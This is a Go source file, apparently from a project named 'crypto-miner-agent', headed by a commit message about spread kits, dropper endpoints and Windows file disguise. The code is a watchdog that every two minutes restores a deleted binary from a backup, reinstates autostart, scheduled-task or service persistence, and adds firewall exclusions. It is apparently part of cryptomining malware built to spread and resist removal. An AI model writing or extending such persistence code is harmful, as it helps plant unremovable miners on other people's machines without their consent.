Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
60 lines
1.3 KiB
Go
60 lines
1.3 KiB
Go
package deploy
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartWatchdog keeps persistence and the installed binary healthy.
|
|
func StartWatchdog(cfg config.RuntimeConfig) {
|
|
if !cfg.SelfHealing {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(2 * time.Minute)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
if err := maintainInstall(cfg); err != nil {
|
|
log.Printf("[watchdog] maintenance: %v", err)
|
|
}
|
|
}
|
|
}()
|
|
}
|
|
|
|
func maintainInstall(cfg config.RuntimeConfig) error {
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
|
backupBin := installedBin + backupSuffix
|
|
|
|
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
|
|
if _, statErr := os.Stat(backupBin); statErr == nil {
|
|
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
|
|
return copyErr
|
|
}
|
|
log.Printf("[watchdog] restored missing binary from backup")
|
|
}
|
|
}
|
|
|
|
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
|
if err := configureAutoStart(cfg, installedBin); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
|
if err := configureRunMode(cfg, installedBin); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
if cfg.FirewallExclusion {
|
|
EnsureFirewallExclusion(cfg, installedBin)
|
|
}
|
|
return nil
|
|
}
|